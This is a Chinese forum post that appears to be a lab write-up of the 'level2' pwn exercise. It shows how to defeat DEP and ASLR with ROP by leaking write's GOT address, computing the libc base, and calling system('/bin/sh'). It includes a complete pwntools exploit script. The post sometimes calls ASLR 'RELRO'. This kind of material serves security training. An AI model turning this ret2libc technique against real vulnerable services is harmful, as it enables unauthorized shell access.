-
-
[原创]蒸米ROP基础pwn-Level2通过 ROP 绕过 DEP 和 ASLR 防护
-
发表于:
2024-4-29 17:18
3125
-
[原创]蒸米ROP基础pwn-Level2通过 ROP 绕过 DEP 和 ASLR 防护
Pwn题下载
看雪幸运轮盘一点也不幸运我的看雪币都没了!!!
1.环境
ubuntu1~16.04.12
pwndbg
python
2.目标
学会绕过DEP、ASLR 的技巧。
3.流程
还是level2这个程序,开启了RELRO 防护,栈溢出的我就不写了上个文章已经写了。
开启RELRO 防护
1 2 | sudo - s
echo 2 > / proc / sys / kernel / randomize_va_space
|
上一个程序关闭了RELRO才能计算到基地址,现在开启了RELRO防护如何计算RELRO 地址?
可以通过计算当前执行的内存地址进行攻击,也就是RELRO每次启动都会变更内存地址,我们可以通过python每次启动的时候都去计算他的地址得到system地址。
4.解题
根据延迟绑定机制进行解题
got的地址是真实的地址(后三位), 可以通过plt去调用已经执行过的函数从从而获取到当前内存的相对地址。 可以通过使用plt函数地址减去got函数地址 得到libc的地址公式可以看上一篇文章。
重点: 注意要跳回来 vulnerable_function_addr这个函数为第二栈溢出做准备 。
1 | payload = b 'a' * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32( 0x1 ) + p32(write_got) + p32( 0x4 )
|
使用write_plt(是write为了区分)函数输出 write 的内存地址 因为调用write_plt后got会被绑定成功输出的时候是got绑定后的真实地址。
1 | write_got_addr = u32(p.recv( 4 ))
|
使用libc.symbols['write'](plt)地址减去 write_got_addr(got)地址得到libc地址……以此类推就得到了内存地址
1 2 3 | libc_addr = write_got_addr - libc.symbols[ 'write' ]
system_addr = libc_addr + libc.symbols[ 'system' ]
str_bin_sh = libc_addr + next (libc.search( '/bin/sh' ))
|
5.Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import *
p = process( "./level2" )
elf = ELF( './level2' )
libc = ELF( './libc.so.6' )
write_plt = elf.symbols[ 'write' ]
write_got = elf.got[ 'write' ]
vulnerable_function_addr = elf.symbols[ 'vulnerable_function' ]
if args.G:
gdb.attach(p, "b *vulnerable_function\r\n" )
payload = b 'a' * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32( 0x1 ) + p32(write_got) + p32( 0x4 )
p.send(payload)
write_got_addr = u32(p.recv( 4 ))
libc_addr = write_got_addr - libc.symbols[ 'write' ]
system_addr = libc_addr + libc.symbols[ 'system' ]
str_bin_sh = libc_addr + next (libc.search( '/bin/sh' ))
print ( "String_binsh_addr:" , hex (str_bin_sh))
print ( "system_addr:" , hex (system_addr))
payload = b 'a' * 140 + p32(system_addr) + p32( 0x0 ) + p32(str_bin_sh)
p.send(payload)
p.interactive()
|
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2024-4-29 17:27
被wx_一个很好记得名字编辑
,原因: 缺东西